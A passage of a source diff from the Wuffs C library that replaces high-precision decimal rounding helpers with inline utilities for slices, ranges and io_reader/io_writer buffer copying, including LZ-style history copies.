wuffs_base__utility__make_optional_u63(h, v) \ -+ wuffs_base__make_optional_u63(h, v) - --// -------- -+// ---------------- Slices and Tables - --// wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits --// returns the number of additional decimal digits when left-shifting by shift. -+// This function basically returns (ptr + len), except that that expression is -+// Undefined Behavior in C (but not C++) when ptr is NULL, even if len is zero. - // --// See below for preconditions. --static uint32_t // --wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits( -- wuffs_base__private_implementation__high_prec_dec* h, -- uint32_t shift) { -- // Masking with 0x3F should be unnecessary (assuming the preconditions) but -- // it's cheap and ensures that we don't overflow the -- // wuffs_base__private_implementation__hpd_left_shift array. -- shift &= 63; -+// Precondition: (ptr != NULL) || (len == 0). -+static inline const uint8_t* // -+wuffs_private_impl__ptr_u8_plus_len(const uint8_t* ptr, size_t len) { -+ return ptr ? (ptr + len) : NULL; -+} - -- uint32_t x_a = wuffs_base__private_implementation__hpd_left_shift[shift]; -- uint32_t x_b = wuffs_base__private_implementation__hpd_left_shift[shift + 1]; -- uint32_t num_new_digits = x_a >> 11; -- uint32_t pow5_a = 0x7FF & x_a; -- uint32_t pow5_b = 0x7FF & x_b; -+// -------- - -- const uint8_t* pow5 = -- &wuffs_base__private_implementation__powers_of_5[pow5_a]; -- uint32_t i = 0; -- uint32_t n = pow5_b - pow5_a; -- for (; i < n; i++) { -- if (i >= h->num_digits) { -- return num_new_digits - 1; -- } else if (h->digits[i] == pow5[i]) { -- continue; -- } else if (h->digits[i] < pow5[i]) { -- return num_new_digits - 1; -- } else { -- return num_new_digits; -- } -+// wuffs_private_impl__slice_u8__prefix returns up to the first up_to bytes of -+// s. -+static inline wuffs_base__slice_u8 // -+wuffs_private_impl__slice_u8__prefix(wuffs_base__slice_u8 s, uint64_t up_to) { -+ if (((uint64_t)(s.len)) > up_to) { -+ s.len = ((size_t)up_to); - } -- return num_new_digits; -+ return s; - } - --// -------- -+// wuffs_private_impl__slice_u8__suffix returns up to the last up_to bytes of -+// s. -+static inline wuffs_base__slice_u8 // -+wuffs_private_impl__slice_u8__suffix(wuffs_base__slice_u8 s, uint64_t up_to) { -+ if (((uint64_t)(s.len)) > up_to) { -+ s.ptr += ((uint64_t)(s.len)) - up_to; -+ s.len = ((size_t)up_to); -+ } -+ return s; -+} - --// wuffs_base__private_implementation__high_prec_dec__rounded_integer returns --// the integral (non-fractional) part of h, provided that it is 18 or fewer --// decimal digits. For 19 or more digits, it returns UINT64_MAX. Note that: --// - (1 << 53) is 9007199254740992, which has 16 decimal digits. --// - (1 << 56) is 72057594037927936, which has 17 decimal digits. --// - (1 << 59) is 576460752303423488, which has 18 decimal digits. --// - (1 << 63) is 9223372036854775808, which has 19 decimal digits. --// and that IEEE 754 double precision has 52 mantissa bits. -+// wuffs_private_impl__slice_u8__copy_from_slice calls memmove(dst.ptr, -+// src.ptr, len) where len is the minimum of dst.len and src.len. - // --// That integral part is rounded-to-even: rounding 7.5 or 8.5 both give 8. --// --// h's negative bit is ignored: rounding -8.6 returns 9. --// --// See below for preconditions. --static uint64_t // --wuffs_base__private_implementation__high_prec_dec__rounded_integer( -- wuffs_base__private_implementation__high_prec_dec* h) { -- if ((h->num_digits == 0) || (h->decimal_point < 0)) { -- return 0; -- } else if (h->decimal_point > 18) { -- return UINT64_MAX; -+// Passing a wuffs_base__slice_u8 with all fields NULL or zero (a valid, empty -+// slice) is valid and results in a no-op. -+static inline uint64_t // -+wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__slice_u8 dst, -+ wuffs_base__slice_u8 src) { -+ size_t len = dst.len < src.len ? dst.len : src.len; -+ if (len > 0) { -+ memmove(dst.ptr, src.ptr, len); - } -+ return len; -+} - -- uint32_t dp = (uint32_t)(h->decimal_point); -- uint64_t n = 0; -- uint32_t i = 0; -- for (; i < dp; i++) { -- n = (10 * n) + ((i < h->num_digits) ? h->digits[i] : 0); -+static inline wuffs_base__empty_struct // -+wuffs_private_impl__bulk_load_host_endian(void* ptr, -+ size_t len, -+ wuffs_base__slice_u8 src) { -+ if (len && (len <= src.len)) { -+ memmove(ptr, src.ptr, len); - } -+ return wuffs_base__make_empty_struct(); -+} - -- bool round_up = false; -- if (dp < h->num_digits) { -- round_up = h->digits[dp] >= 5; -- if ((h->digits[dp] == 5) && (dp + 1 == h->num_digits)) { -- // We are exactly halfway. If we're truncated, round up, otherwise round -- // to even. -- round_up = h->truncated || // -- ((dp > 0) && (1 & h->digits[dp - 1])); -- } -- } -- if (round_up) { -- n++; -+static inline wuffs_base__empty_struct // -+wuffs_private_impl__bulk_memset(void* ptr, size_t len, uint8_t byte_value) { -+ if (len) { -+ memset(ptr, byte_value, len); - } -+ return wuffs_base__make_empty_struct(); -+} - -- return n; -+static inline wuffs_base__empty_struct // -+wuffs_private_impl__bulk_save_host_endian(void* ptr, -+ size_t len, -+ wuffs_base__slice_u8 dst) { -+ if (len && (len <= dst.len)) { -+ memmove(dst.ptr, ptr, len); -+ } -+ return wuffs_base__make_empty_struct(); - } - --// wuffs_base__private_implementation__high_prec_dec__small_xshift shifts h's --// number (where 'x' is 'l' or 'r' for left or right) by a small shift value. --// --// Preconditions: --// - h is non-NULL. --// - h->decimal_point is "not extreme". --// - shift is non-zero. --// - shift is "a small shift". --// --// "Not extreme" means within --// ±WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE. --// --// "A small shift" means not more than --// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL. --// --// wuffs_base__private_implementation__high_prec_dec__rounded_integer and --// wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits --// have the same preconditions. --// --// wuffs_base__private_implementation__high_prec_dec__lshift keeps the first --// two preconditions but not the last two. Its shift argument is signed and --// does not need to be "small": zero is a no-op, positive means left shift and --// negative means right shift. -+// -------- - --static void // --wuffs_base__private_implementation__high_prec_dec__small_lshift( -- wuffs_base__private_implementation__high_prec_dec* h, -- uint32_t shift) { -- if (h->num_digits == 0) { -- return; -+static inline wuffs_base__slice_u8 // -+wuffs_private_impl__table_u8__row_u32(wuffs_base__table_u8 t, uint32_t y) { -+ if (t.ptr && (y < t.height)) { -+ return wuffs_base__make_slice_u8(t.ptr + (t.stride * y), t.width); - } -- uint32_t num_new_digits = -- wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits( -- h, shift); -- uint32_t rx = h->num_digits - 1; // Read index. -- uint32_t wx = h->num_digits - 1 + num_new_digits; // Write index. -- uint64_t n = 0; -+ return wuffs_base__empty_slice_u8(); -+} - -- // Repeat: pick up a digit, put down a digit, right to left. -- while (((int32_t)rx) >= 0) { -- n += ((uint64_t)(h->digits[rx])) << shift; -- uint64_t quo = n / 10; -- uint64_t rem = n - (10 * quo); -- if (wx < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { -- h->digits[wx] = (uint8_t)rem; -- } else if (rem > 0) { -- h->truncated = true; -- } -- n = quo; -- wx--; -- rx--; -- } -+// ---------------- Slices and Tables (Utility) - -- // Put down leading digits, right to left. -- while (n > 0) { -- uint64_t quo = n / 10; -- uint64_t rem = n - (10 * quo); -- if (wx < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { -- h->digits[wx] = (uint8_t)rem; -- } else if (rem > 0) { -- h->truncated = true; -- } -- n = quo; -- wx--; -- } -+#define wuffs_base__utility__empty_slice_u8 wuffs_base__empty_slice_u8 - -- // Finish. -- h->num_digits += num_new_digits; -- if (h->num_digits > -- WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { -- h->num_digits = WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION; -- } -- h->decimal_point += (int32_t)num_new_digits; -- wuffs_base__private_implementation__high_prec_dec__trim(h); -+// ---------------- Ranges and Rects -+ -+static inline uint32_t // -+wuffs_private_impl__range_ii_u32__get_min_incl( -+ const wuffs_base__range_ii_u32* r) { -+ return r->min_incl; - } - --static void // --wuffs_base__private_implementation__high_prec_dec__small_rshift( -- wuffs_base__private_implementation__high_prec_dec* h, -- uint32_t shift) { -- uint32_t rx = 0; // Read index. -- uint32_t wx = 0; // Write index. -- uint64_t n = 0; -+static inline uint32_t // -+wuffs_private_impl__range_ii_u32__get_max_incl( -+ const wuffs_base__range_ii_u32* r) { -+ return r->max_incl; -+} - -- // Pick up enough leading digits to cover the first shift. -- while ((n >> shift) == 0) { -- if (rx < h->num_digits) { -- // Read a digit. -- n = (10 * n) + h->digits[rx++]; -- } else if (n == 0) { -- // h's number used to be zero and remains zero. -- return; -- } else { -- // Read sufficient implicit trailing zeroes. -- while ((n >> shift) == 0) { -- n = 10 * n; -- rx++; -- } -- break; -- } -- } -- h->decimal_point -= ((int32_t)(rx - 1)); -- if (h->decimal_point < -- -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { -- // After the shift, h's number is effectively zero. -- h->num_digits = 0; -- h->decimal_point = 0; -- h->truncated = false; -- return; -- } -+static inline uint32_t // -+wuffs_private_impl__range_ie_u32__get_min_incl( -+ const wuffs_base__range_ie_u32* r) { -+ return r->min_incl; -+} - -- // Repeat: pick up a digit, put down a digit, left to right. -- uint64_t mask = (((uint64_t)(1)) << shift) - 1; -- while (rx < h->num_digits) { -- uint8_t new_digit = ((uint8_t)(n >> shift)); -- n = (10 * (n & mask)) + h->digits[rx++]; -- h->digits[wx++] = new_digit; -- } -+static inline uint32_t // -+wuffs_private_impl__range_ie_u32__get_max_excl( -+ const wuffs_base__range_ie_u32* r) { -+ return r->max_excl; -+} - -- // Put down trailing digits, left to right. -- while (n > 0) { -- uint8_t new_digit = ((uint8_t)(n >> shift)); -- n = 10 * (n & mask); -- if (wx < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { -- h->digits[wx++] = new_digit; -- } else if (new_digit > 0) { -- h->truncated = true; -- } -- } -+static inline uint64_t // -+wuffs_private_impl__range_ii_u64__get_min_incl( -+ const wuffs_base__range_ii_u64* r) { -+ return r->min_incl; -+} - -- // Finish. -- h->num_digits = wx; -- wuffs_base__private_implementation__high_prec_dec__trim(h); -+static inline uint64_t // -+wuffs_private_impl__range_ii_u64__get_max_incl( -+ const wuffs_base__range_ii_u64* r) { -+ return r->max_incl; - } - --static void // --wuffs_base__private_implementation__high_prec_dec__lshift( -- wuffs_base__private_implementation__high_prec_dec* h, -- int32_t shift) { -- if (shift > 0) { -- while (shift > +WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL) { -- wuffs_base__private_implementation__high_prec_dec__small_lshift( -- h, WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL); -- shift -= WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; -- } -- wuffs_base__private_implementation__high_prec_dec__small_lshift( -- h, ((uint32_t)(+shift))); -- } else if (shift < 0) { -- while (shift < -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL) { -- wuffs_base__private_implementation__high_prec_dec__small_rshift( -- h, WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL); -- shift += WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; -- } -- wuffs_base__private_implementation__high_prec_dec__small_rshift( -- h, ((uint32_t)(-shift))); -- } -+static inline uint64_t // -+wuffs_private_impl__range_ie_u64__get_min_incl( -+ const wuffs_base__range_ie_u64* r) { -+ return r->min_incl; - } - --// -------- -+static inline uint64_t // -+wuffs_private_impl__range_ie_u64__get_max_excl( -+ const wuffs_base__range_ie_u64* r) { -+ return r->max_excl; -+} - --// wuffs_base__private_implementation__high_prec_dec__round_etc rounds h's --// number. For those functions that take an n argument, rounding produces at --// most n digits (which is not necessarily at most n decimal places). Negative --// n values are ignored, as well as any n greater than or equal to h's number --// of digits. The etc__round_just_enough function implicitly chooses an n to --// implement WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION. --// --// Preconditions: --// - h is non-NULL. --// - h->decimal_point is "not extreme". --// --// "Not extreme" means within --// ±WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE. -+// ---------------- Ranges and Rects (Utility) - --static void // --wuffs_base__private_implementation__high_prec_dec__round_down( -- wuffs_base__private_implementation__high_prec_dec* h, -- int32_t n) { -- if ((n < 0) || (h->num_digits <= (uint32_t)n)) { -- return; -+#define wuffs_base__utility__empty_range_ii_u32 wuffs_base__empty_range_ii_u32 -+#define wuffs_base__utility__empty_range_ie_u32 wuffs_base__empty_range_ie_u32 -+#define wuffs_base__utility__empty_range_ii_u64 wuffs_base__empty_range_ii_u64 -+#define wuffs_base__utility__empty_range_ie_u64 wuffs_base__empty_range_ie_u64 -+#define wuffs_base__utility__empty_rect_ii_u32 wuffs_base__empty_rect_ii_u32 -+#define wuffs_base__utility__empty_rect_ie_u32 wuffs_base__empty_rect_ie_u32 -+#define wuffs_base__utility__make_range_ii_u32 wuffs_base__make_range_ii_u32 -+#define wuffs_base__utility__make_range_ie_u32 wuffs_base__make_range_ie_u32 -+#define wuffs_base__utility__make_range_ii_u64 wuffs_base__make_range_ii_u64 -+#define wuffs_base__utility__make_range_ie_u64 wuffs_base__make_range_ie_u64 -+#define wuffs_base__utility__make_rect_ii_u32 wuffs_base__make_rect_ii_u32 -+#define wuffs_base__utility__make_rect_ie_u32 wuffs_base__make_rect_ie_u32 -+ -+// ---------------- I/O -+ -+static inline uint64_t // -+wuffs_private_impl__io__count_since(uint64_t mark, uint64_t index) { -+ if (index >= mark) { -+ return index - mark; - } -- h->num_digits = (uint32_t)(n); -- wuffs_base__private_implementation__high_prec_dec__trim(h); -+ return 0; - } - --static void // --wuffs_base__private_implementation__high_prec_dec__round_up( -- wuffs_base__private_implementation__high_prec_dec* h, -- int32_t n) { -- if ((n < 0) || (h->num_digits <= (uint32_t)n)) { -- return; -+// TODO: drop the "const" in "const uint8_t* ptr". Some though required about -+// the base.io_reader.since method returning a mutable "slice base.u8". -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wcast-qual" -+#endif -+static inline wuffs_base__slice_u8 // -+wuffs_private_impl__io__since(uint64_t mark, -+ uint64_t index, -+ const uint8_t* ptr) { -+ if (index >= mark) { -+ return wuffs_base__make_slice_u8(((uint8_t*)ptr) + mark, -+ ((size_t)(index - mark))); - } -+ return wuffs_base__empty_slice_u8(); -+} -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif - -- for (n--; n >= 0; n--) { -- if (h->digits[n] < 9) { -- h->digits[n]++; -- h->num_digits = (uint32_t)(n + 1); -- return; -- } -- } -+// -------- - -- // The number is all 9s. Change to a single 1 and adjust the decimal point. -- h->digits[0] = 1; -- h->num_digits = 1; -- h->decimal_point++; -+static inline void // -+wuffs_private_impl__io_reader__limit(const uint8_t** ptr_io2_r, -+ const uint8_t* iop_r, -+ uint64_t limit) { -+ if (((uint64_t)(*ptr_io2_r - iop_r)) > limit) { -+ *ptr_io2_r = iop_r + limit; -+ } - } - --static void // --wuffs_base__private_implementation__high_prec_dec__round_nearest( -- wuffs_base__private_implementation__high_prec_dec* h, -- int32_t n) { -- if ((n < 0) || (h->num_digits <= (uint32_t)n)) { -- return; -+static inline uint32_t // -+wuffs_private_impl__io_reader__limited_copy_u32_to_slice( -+ const uint8_t** ptr_iop_r, -+ const uint8_t* io2_r, -+ uint32_t length, -+ wuffs_base__slice_u8 dst) { -+ const uint8_t* iop_r = *ptr_iop_r; -+ size_t n = dst.len; -+ if (n > length) { -+ n = length; - } -- bool up = h->digits[n] >= 5; -- if ((h->digits[n] == 5) && ((n + 1) == ((int32_t)(h->num_digits)))) { -- up = h->truncated || // -- ((n > 0) && ((h->digits[n - 1] & 1) != 0)); -+ if (n > ((size_t)(io2_r - iop_r))) { -+ n = (size_t)(io2_r - iop_r); - } -- -- if (up) { -- wuffs_base__private_implementation__high_prec_dec__round_up(h, n); -- } else { -- wuffs_base__private_implementation__high_prec_dec__round_down(h, n); -+ if (n > 0) { -+ memmove(dst.ptr, iop_r, n); -+ *ptr_iop_r += n; - } -+ return (uint32_t)(n); - } - --static void // --wuffs_base__private_implementation__high_prec_dec__round_just_enough( -- wuffs_base__private_implementation__high_prec_dec* h, -- int32_t exp2, -- uint64_t mantissa) { -- // The magic numbers 52 and 53 in this function are because IEEE 754 double -- // precision has 52 mantissa bits. -- // -- // Let f be the floating point number represented by exp2 and mantissa (and -- // also the number in h): the number (mantissa * (2 ** (exp2 - 52))). -- // -- // If f is zero or a small integer, we can return early. -- if ((mantissa == 0) || -- ((exp2 < 53) && (h->decimal_point >= ((int32_t)(h->num_digits))))) { -- return; -+// wuffs_private_impl__io_reader__match7 returns whether the io_reader's -+// upcoming bytes start with the given prefix (up to 7 bytes long). It is -+// peek-like, not read-like, in that there are no side-effects. -+// -+// The low 3 bits of a hold the prefix length, n. -+// -+// The high 56 bits of a hold the prefix itself, in little-endian order. The -+// first prefix byte is in bits 8..=15, the second prefix byte is in bits -+// 16..=23, etc. The high (8 * (7 - n)) bits are ignored. -+// -+// There are three possible return values: -+// - 0 means success. -+// - 1 means inconclusive, equivalent to "$short read". -+// - 2 means failure. -+static inline uint32_t // -+wuffs_private_impl__io_reader__match7(const uint8_t* iop_r, -+ const uint8_t* io2_r, -+ wuffs_base__io_buffer* r, -+ uint64_t a) { -+ uint32_t n = a & 7; -+ a >>= 8; -+ if ((io2_r - iop_r) >= 8) { -+ uint64_t x = wuffs_base__peek_u64le__no_bounds_check(iop_r); -+ uint32_t shift = 8 * (8 - n); -+ return ((a << shift) == (x << shift)) ? 0 : 2; -+ } -+ for (; n > 0; n--) { -+ if (iop_r >= io2_r) { -+ return (r && r->meta.closed) ? 2 : 1; -+ } else if (*iop_r != ((uint8_t)(a))) { -+ return 2; -+ } -+ iop_r++; -+ a >>= 8; - } -+ return 0; -+} - -- // The smallest normal f has an exp2 of -1022 and a mantissa of (1 << 52). -- // Subnormal numbers have the same exp2 but a smaller mantissa. -- static const int32_t min_incl_normal_exp2 = -1022; -- static const uint64_t min_incl_normal_mantissa = 0x0010000000000000ul; -+static inline wuffs_base__io_buffer* // -+wuffs_private_impl__io_reader__set(wuffs_base__io_buffer* b, -+ const uint8_t** ptr_iop_r, -+ const uint8_t** ptr_io0_r, -+ const uint8_t** ptr_io1_r, -+ const uint8_t** ptr_io2_r, -+ wuffs_base__slice_u8 data, -+ uint64_t history_position) { -+ b->data = data; -+ b->meta.wi = data.len; -+ b->meta.ri = 0; -+ b->meta.pos = history_position; -+ b->meta.closed = false; - -- // Compute lower and upper bounds such that any number between them (possibly -- // inclusive) will round to f. First, the lower bound. Our number f is: -- // ((mantissa + 0) * (2 ** ( exp2 - 52))) -- // -- // The next lowest floating point number is: -- // ((mantissa - 1) * (2 ** ( exp2 - 52))) -- // unless (mantissa - 1) drops the (1 << 52) bit and exp2 is not the -- // min_incl_normal_exp2. Either way, call it: -- // ((l_mantissa) * (2 ** (l_exp2 - 52))) -- // -- // The lower bound is halfway between them (noting that 52 became 53): -- // (((2 * l_mantissa) + 1) * (2 ** (l_exp2 - 53))) -- int32_t l_exp2 = exp2; -- uint64_t l_mantissa = mantissa - 1; -- if ((exp2 > min_incl_normal_exp2) && (mantissa <= min_incl_normal_mantissa)) { -- l_exp2 = exp2 - 1; -- l_mantissa = (2 * mantissa) - 1; -- } -- wuffs_base__private_implementation__high_prec_dec lower; -- wuffs_base__private_implementation__high_prec_dec__assign( -- &lower, (2 * l_mantissa) + 1, false); -- wuffs_base__private_implementation__high_prec_dec__lshift(&lower, -- l_exp2 - 53); -+ *ptr_iop_r = data.ptr; -+ *ptr_io0_r = data.ptr; -+ *ptr_io1_r = data.ptr; -+ *ptr_io2_r = data.ptr + data.len; - -- // Next, the upper bound. Our number f is: -- // ((mantissa + 0) * (2 ** (exp2 - 52))) -- // -- // The next highest floating point number is: -- // ((mantissa + 1) * (2 ** (exp2 - 52))) -- // -- // The upper bound is halfway between them (noting that 52 became 53): -- // (((2 * mantissa) + 1) * (2 ** (exp2 - 53))) -- wuffs_base__private_implementation__high_prec_dec upper; -- wuffs_base__private_implementation__high_prec_dec__assign( -- &upper, (2 * mantissa) + 1, false); -- wuffs_base__private_implementation__high_prec_dec__lshift(&upper, exp2 - 53); -+ return b; -+} - -- // The lower and upper bounds are possible outputs only if the original -- // mantissa is even, so that IEEE round-to-even would round to the original -- // mantissa and not its neighbors. -- bool inclusive = (mantissa & 1) == 0; -+// -------- - -- // As we walk the digits, we want to know whether rounding up would fall -- // within the upper bound. This is tracked by upper_delta: -- // - When -1, the digits of h and upper are the same so far. -- // - When +0, we saw a difference of 1 between h and upper on a previous -- // digit and subsequently only 9s for h and 0s for upper. Thus, rounding -- // up may fall outside of the bound if !inclusive. -- // - When +1, the difference is greater than 1 and we know that rounding up -- // falls within the bound. -- // -- // This is a state machine with three states. The numerical value for each -- // state (-1, +0 or +1) isn't important, other than their order. -- int upper_delta = -1; -+static inline uint64_t // -+wuffs_private_impl__io_writer__copy_from_slice(uint8_t** ptr_iop_w, -+ uint8_t* io2_w, -+ wuffs_base__slice_u8 src) { -+ uint8_t* iop_w = *ptr_iop_w; -+ size_t n = src.len; -+ if (n > ((size_t)(io2_w - iop_w))) { -+ n = (size_t)(io2_w - iop_w); -+ } -+ if (n > 0) { -+ memmove(iop_w, src.ptr, n); -+ *ptr_iop_w += n; -+ } -+ return (uint64_t)(n); -+} - -- // We can now figure out the shortest number of digits required. Walk the -- // digits until h has distinguished itself from lower or upper. -- // -- // The zi and zd variables are indexes and digits, for z in l (lower), h (the -- // number) and u (upper). -+static inline void // -+wuffs_private_impl__io_writer__limit(uint8_t** ptr_io2_w, -+ uint8_t* iop_w, -+ uint64_t limit) { -+ if (((uint64_t)(*ptr_io2_w - iop_w)) > limit) { -+ *ptr_io2_w = iop_w + limit; -+ } -+} -+ -+static inline uint32_t // -+wuffs_private_impl__io_writer__limited_copy_u32_from_history( -+ uint8_t** ptr_iop_w, -+ uint8_t* io0_w, -+ uint8_t* io2_w, -+ uint32_t length, -+ uint32_t distance) { -+ if (!distance) { -+ return 0; -+ } -+ uint8_t* p = *ptr_iop_w; -+ if ((size_t)(p - io0_w) < (size_t)(distance)) { -+ return 0; -+ } -+ uint8_t* q = p - distance; -+ size_t n = (size_t)(io2_w - p); -+ if ((size_t)(length) > n) { -+ length = (uint32_t)(n); -+ } else { -+ n = (size_t)(length); -+ } -+ // TODO: unrolling by 3 seems best for the std/deflate benchmarks, but that -+ // is mostly because 3 is the minimum length for the deflate format. This -+ // function implementation shouldn't overfit to that one format. Perhaps the -+ // limited_copy_u32_from_history Wuffs method should also take an unroll hint -+ // argument, and the cgen can look if that argument is the constant -+ // expression '3'. - // -- // The lower, h and upper numbers may have their decimal points at different -- // places. In this case, upper is the longest, so we iterate ui starting from -- // 0 and iterate li and hi starting from either 0 or -1. -- int32_t ui = 0; -- for (;; ui++) { -- // Calculate hd, the middle number's digit. -- int32_t hi = ui - upper.decimal_point + h->decimal_point; -- if (hi >= ((int32_t)(h->num_digits))) { -- break; -- } -- uint8_t hd = (((uint32_t)hi) < h->num_digits) ? h->digits[hi] : 0; -+ // See also wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast -+ // below. -+ for (; n >= 3; n -= 3) { -+ *p++ = *q++; -+ *p++ = *q++; -+ *p++ = *q++; -+ } -+ for (; n; n--) { -+ *p++ = *q++; -+ } -+ *ptr_iop_w = p; -+ return length; -+} - -- // Calculate ld, the lower bound's digit. -- int32_t li = ui - upper.decimal_point + lower.decimal_point; -- uint8_t ld = (((uint32_t)li) < lower.num_digits) ? lower.digits[li] : 0; -+// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast is like -+// the wuffs_private_impl__io_writer__limited_copy_u32_from_history function -+// above, but has stronger pre-conditions. -+// -+// The caller needs to prove that: -+// - length >= 1 -+// - length <= (io2_w - *ptr_iop_w) -+// - distance >= 1 -+// - distance <= (*ptr_iop_w - io0_w) -+static inline uint32_t // -+wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast( -+ uint8_t** ptr_iop_w, -+ uint8_t* io0_w, -+ uint8_t* io2_w, -+ uint32_t length, -+ uint32_t distance) { -+ uint8_t* p = *ptr_iop_w; -+ uint8_t* q = p - distance; -+ uint32_t n = length; -+ for (; n >= 3; n -= 3) { -+ *p++ = *q++; -+ *p++ = *q++; -+ *p++ = *q++; -+ } -+ for (; n; n--) { -+ *p++ = *q++; -+ } -+ *ptr_iop_w = p; -+ return length; -+} - -- // We can round down (truncate) if lower has a different digit than h or if -- // lower is inclusive and is exactly the result of rounding down (i.e. we -- // have reached the final digit of lower). -- bool can_round_down = -- (ld != hd) || // -- (inclusive && ((li + 1) == ((int32_t)(lower.num_digits)))); -+// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast_return_cusp -+// is like the -+// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast function, -+// but also returns the cusp: a byte pair (as a u16le) being the last byte of -+// and next byte after the copied history. -+// -+// For example, if history was [10, 11, 12, 13, 14, 15, 16, 17, 18] then: -+// - copying l=3, d=8 produces [11, 12, 13] and the cusp is (13, 14). -+// - copying l=3, d=2 produces [17, 18, 17] and the cusp is (17, 18). -+// -+// The caller needs to prove that: -+// - length >= 1 -+// - length <= (io2_w - *ptr_iop_w) -+// - distance >= 1 -+// - distance <= (*ptr_iop_w - io0_w) -+static inline uint32_t // -+wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast_return_cusp( -+ uint8_t** ptr_iop_w, -+ uint8_t* io0_w, -+ uint8_t* io2_w, -+ uint32_t length, -+ uint32_t distance) { -+ uint8_t* p = *ptr_iop_w; -+ uint8_t* q = p - distance; -+ uint32_t n = length; -+ for (; n >= 3; n -= 3) { -+ *p++ = *q++; -+ *p++ = *q++; -+ *p++ = *q++; -+ } -+ for (; n; n--) { -+ *p++ = *q++; -+ } -+ *ptr_iop_w = p; -+ return (uint32_t)wuffs_base__peek_u16le__no_bounds_check(q - 1); -+} - -- // Calculate ud, the upper bound's digit, and update upper_delta. -- uint8_t ud = (((uint32_t)ui) < upper.num_digits) ? upper.digits[ui] : 0; -- if (upper_delta < 0) { -- if ((hd + 1) < ud) { -- // For example: -- // h = 12345??? -- // upper = 12347??? -- upper_delta = +1; -- } else if (hd != ud) { -- // For example: -- // h = 12345??? -- // upper = 12346??? -- upper_delta = +0; -- } -- } else if (upper_delta == 0) { -- if ((hd != 9) || (ud != 0)) { -- // For example: -- // h = 1234598? -- // upper = 1234600? -- upper_delta = +1; -- } -+// wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast -+// copies the previous byte (the one immediately before *ptr_iop_w), copying 8 -+// byte chunks at a time. Each chunk contains 8 repetitions of the same byte. -+// -+// In terms of number of bytes copied, length is rounded up to a multiple of 8. -+// As a special case, a zero length rounds up to 8 (even though 0 is already a -+// multiple of 8), since there is always at least one 8 byte chunk copied. -+// -+// In terms of advancing *ptr_iop_w, length is not rounded up. -+// -+// The caller needs to prove that: -+// - length >= 1 -+// - (length + 8) <= (io2_w - *ptr_iop_w) -+// - distance == 1 -+// - distance <= (*ptr_iop_w - io0_w) -+static inline uint32_t // -+wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( -+ uint8_t** ptr_iop_w, -+ uint8_t* io0_w, -+ uint8_t* io2_w, -+ uint32_t length, -+ uint32_t distance) { -+ uint8_t* p = *ptr_iop_w; -+ uint64_t x = p[-1]; -+ x |= x << 8; -+ x |= x << 16; -+ x |= x << 32; -+ uint32_t n = length; -+ while (1) { -+ wuffs_base__poke_u64le__no_bounds_check(p, x); -+ if (n <= 8) { -+ p += n; -+ break; - } -+ p += 8; -+ n -= 8; -+ } -+ *ptr_iop_w = p; -+ return length; -+} - -- // We can round up if upper has a different digit than h and either upper -- // is inclusive or upper is bigger than the result of rounding up. -- bool can_round_up = -- (upper_delta > 0) || // -- ((upper_delta == 0) && // -- (inclusive || ((ui + 1) < ((int32_t)(upper.num_digits))))); -- -- // If we can round either way, round to nearest. If we can round only one -- // way, do it. If we can't round, continue the loop. -- if (can_round_down) { -- if (can_round_up) { -- wuffs_base__private_implementation__high_prec_dec__round_nearest( -- h, hi + 1); -- return; -- } else { -- wuffs_base__private_implementation__high_prec_dec__round_down(h, -- hi + 1); -- return; -- } -- } else { -- if (can_round_up) { -- wuffs_base__private_implementation__high_prec_dec__round_up(h, hi + 1); -- return; -- } -+// wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast_return_cusp -+// copies the previous byte (the one immediately before *ptr_iop_w), copying 8 -+// byte chunks at a time. Each chunk contains 8 repetitions of the same byte. -+// It also returns the cusp: a byte pair (as a u16le) being the last byte of -+// and next byte after the copied history. -+// -+// In terms of number of bytes copied, length is rounded up to a multiple of 8. -+// As a special case, a zero length rounds up to 8 (even though 0 is already a -+// multiple of 8), since there is always at least one 8 byte chunk copied. -+// -+// In terms of advancing *ptr_iop_w, length is not rounded up. -+// -+// The caller needs to prove that: -+// - length >= 1 -+// - (length + 8) <= (io2_w - *ptr_iop_w) -+// - distance == 1 -+// - distance <= (*ptr_iop_w - io0_w) -+static inline uint32_t // -+wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast_return_cusp( -+ uint8_t** ptr_iop_w, -+ uint8_t* io0_w, -+ uint8_t* io2_w, -+ uint32_t length, 